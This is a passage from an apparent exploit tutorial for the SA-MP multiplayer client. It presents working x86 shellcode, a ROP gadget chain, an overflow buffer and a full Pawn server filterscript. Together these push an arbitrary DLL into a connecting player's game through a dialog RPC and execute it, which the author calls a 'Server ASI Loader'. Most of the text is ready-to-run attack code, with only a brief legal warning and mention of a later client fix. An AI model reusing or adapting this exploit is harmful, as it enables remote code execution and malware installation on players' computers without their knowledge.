push 0x3000                    ;# flAllocationType = MEM_COMMIT | MEM_RESERVE
push ecx                        ;# dwSize = dll size
push 0                          ;# lpAddress = 0
mov eax, dword ptr [0x008581A4] ;# get VirtualAlloc
call eax                        ;# call VirtualAlloc
mov edi, eax
pop ecx                        ;# restore ecx
After that, we have in edi the address of the allocated memory where we need to copy, in esi - where to copy from, ecx - how much to copy. So we can run the copy loop:
Code:
rep movsb
And then transfer execution to the dll:
Code:
call eax
Our complete shellcode will look like this:
Code:
;# repair stack
lea esp, [ebp-0x128]

;# get bitstream
mov eax, [ebp+0x3c]            ;# caption
sub eax, 0x118                  ;# bitstream
mov ecx, [eax]                  ;# numberOfBitsUsed
mov edx, [eax+0x8]              ;# readOffset
mov esi, [eax+0xC]              ;# data ptr
add ecx, 7                      ;# numberOfBitsUsed bits to bytes
shr ecx, 3         
add edx, 7                      ;# readOffset bits to bytes
shr edx, 3         
sub ecx, edx                    ;# numberOfBitsUsed - readOffset = dll size
add esi, edx                    ;# data ptr        + readOffset = dll ptr

;# call VirtualAlloc
push ecx                        ;# save ecx
push 0x40                      ;# flProtect = PAGE_EXECUTE_READWRITE
push 0x3000                    ;# flAllocationType = MEM_COMMIT | MEM_RESERVE
push ecx                        ;# dwSize = dll size
push 0                          ;# lpAddress = 0
mov eax, dword ptr [0x008581A4] ;# get VirtualAlloc
call eax                        ;# call VirtualAlloc
mov edi, eax
pop ecx                        ;# restore ecx

;# copy dll
rep movsb

;# execute dll
call eax

;# epilogue
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret 8
We fit into 77 bytes, excellent.
To test the functionality, I suggest writing a simple asi mod, modifying it using sRDI, reading it from pawn and writing it to the bitstream. Let this be the same change in money, but from asi:
Code:
#include <Windows.h>

VOID CALLBACK MainTimer(HWND hwnd, UINT message, UINT idTimer, DWORD dwTime)
{
    *(DWORD*)0x00B7CE50 = 1137;
    KillTimer(NULL, 0);
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReasonForCall, LPVOID lpReserved)
{
    switch (dwReasonForCall)
    {
    case DLL_PROCESS_ATTACH:
        SetTimer(NULL, 0, 1000, (TIMERPROC)MainTimer);
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}
Let's compile it and run it through sRDI:
[Image: MlVj2A6.jpeg]
Let's update our filterscript by inserting a new shellcode and adding reading dll from a file and writing to the bitstream, not forgetting to do the alignment:
Code:
#define FILTERSCRIPT
#include <a_samp>
#include <Pawn.RakNet>

new const RPC_ShowDialog = 61;
new const RPC_ScrSetGravity = 146;

new payload1[] =
{
//          +0    +1    +2    +3    +4    +5    +6    +7    +8    +9  +10  +11  +12  +13  +14  +15
/* 000 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 016 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 032 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 048 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 064 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 080 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 096 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 112 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 128 */ 0x20, 0x20, 0x20, 0x20, 0x84, 0x39, 0x86, 0x00
};

new payload2[] =
{
0x15, 0x27, 0x40, 0x00, // pop ecx gadget
0x37, 0x00, 0x00, 0x00, // ecx value
0x8D, 0x2E, 0x40, 0x00, // pop edi gadget
0x00, 0x60, 0x86, 0x00, // edi value
0xE6, 0x2E, 0x5B, 0x00, // rep movsd gadget
0x00, 0x00, 0x00, 0x00, // edi value
0x00, 0x00, 0x00, 0x00, // esi value
0x00, 0x60, 0x86, 0x00, // ret to dst
0x00, 0x00, 0x00, 0x00, // pad

0x8D, 0xA5, 0xD8, 0xFE, 0xFF, 0xFF, 0x8B, 0x45, 0x3C, 0x2D, 0x18, 0x01, 0x00, 0x00, 0x8B, 0x08, 0x8B,
0x50, 0x08, 0x8B, 0x70, 0x0C, 0x83, 0xC1, 0x07, 0xC1, 0xE9, 0x03, 0x83, 0xC2, 0x07, 0xC1, 0xEA, 0x03,
0x29, 0xD1, 0x01, 0xD6, 0x51, 0x6A, 0x40, 0x68, 0x00, 0x30, 0x00, 0x00, 0x51, 0x6A, 0x00, 0xA1, 0xA4,
0x81, 0x85, 0x00, 0xFF, 0xD0, 0x89, 0xC7, 0x59, 0xF3, 0xA4, 0xFF, 0xD0, 0x5F, 0x5E, 0xB8, 0x01, 0x00,
0x00, 0x00, 0x5B, 0x89, 0xEC, 0x5D, 0xC2, 0x08, 0x00
};


new BitStream:payload_bs;

new payload_array[21111];

public OnFilterScriptInit()
{
payload_bs = BS_New();
    BS_WriteUint16(payload_bs, 1); // dialog id
BS_WriteUint8(payload_bs, DIALOG_STYLE_LIST); // style
BS_WriteUint8(payload_bs, sizeof(payload2)); // caption length
for(new i = 0; i < sizeof(payload2); i++) // caption
{
BS_WriteUint8(payload_bs, payload2[i]);
}
BS_WriteString8(payload_bs, ""); // left button
BS_WriteString8(payload_bs, ""); // right button
BS_WriteCompressedString(payload_bs, payload1); // text

// align
new offset;
BS_GetWriteOffset(payload_bs, offset);
BS_SetWriteOffset(payload_bs, PR_BYTES_TO_BITS(PR_BITS_TO_BYTES(offset)));

// dll
new File:fi = fopen("test.asi");
new payload_len = flength(fi);
if(payload_len > sizeof(payload_array) * 4)
{
    printf("ERROR! Not enough space to read! %d needed", payload_len / 4);
}
else
{
fblockread(fi, payload_array);
    printf("SUCC READ PAYLOAD of %d bytes", payload_len);
for(new i = 0; i < payload_len / 4; i++)
{
    BS_WriteUint32(payload_bs, payload_array[i]);
}
}
fclose(fi);
}

public OnFilterScriptExit()
{
BS_Delete(payload_bs);
}

public OnPlayerCommandText(playerid, cmdtext[])
{
if(!strcmp("/aasd1", cmdtext, true))
{
PerformRCE(playerid);
return 1;
}
return 0;
}

PerformRCE(playerid)
{
    SetPlayerGravity(playerid, Float:0x3C658B90);
    PR_SendRPC(payload_bs, playerid, RPC_ShowDialog, PR_LOW_PRIORITY, PR_RELIABLE_ORDERED, 4);
    HidePlayerDialog(playerid);
    SetPlayerGravity(playerid, 0.008);
}

SetPlayerGravity(playerid, Float:gravity)
{
new BitStream:bs = BS_New();
BS_WriteFloat(bs, gravity);
PR_SendRPC(bs, playerid, RPC_ScrSetGravity, PR_LOW_PRIORITY, PR_RELIABLE_ORDERED, 4);
BS_Delete(bs);
}

HidePlayerDialog(playerid)
{
new BitStream:bs = BS_New();
    BS_WriteUint16(bs, -1); // id
BS_WriteUint8(bs, DIALOG_STYLE_MSGBOX); // style
BS_WriteString8(bs, " "); // caption
BS_WriteString8(bs, ""); // left button
BS_WriteString8(bs, ""); // right button
BS_WriteCompressedString(bs, " "); // text
PR_SendRPC(bs, playerid, RPC_ShowDialog, PR_LOW_PRIORITY, PR_RELIABLE_ORDERED, 4);
BS_Delete(bs);
}
(pastebin link)
Join into the game, enter the command, wait some time until the RPC is transferred to the client, because it is now quite large, and... everything works! Congratulations, we have just created a sasi loader, that is, Server ASI Loader. Now you can load any dll you want from the server to the client. But remember that downloading malware is punishable by law.

Conclusion

Well, thank you for reading this article. I will be glad to see your comments, remarks and questions. In conclusion, I note that the written shellcode will work on all revisions 0.3.7, because there are no differences in the functions we worked with. Apparently, this vulnerability appeared since the introduction of the dialog system, that is, since version 0.3a (2009), and has now been fixed in the latest version of the R5 client (2022). Of course, the fix can be implemented for other versions using the asi or even lua mods. It is strictly recommended to use the latest version of SA-MP with all fixes, and also not to join the servers that cause you suspicion and that you do not trust.
P.S. did you like the article? stay in touch, I have something else interesting for you ;)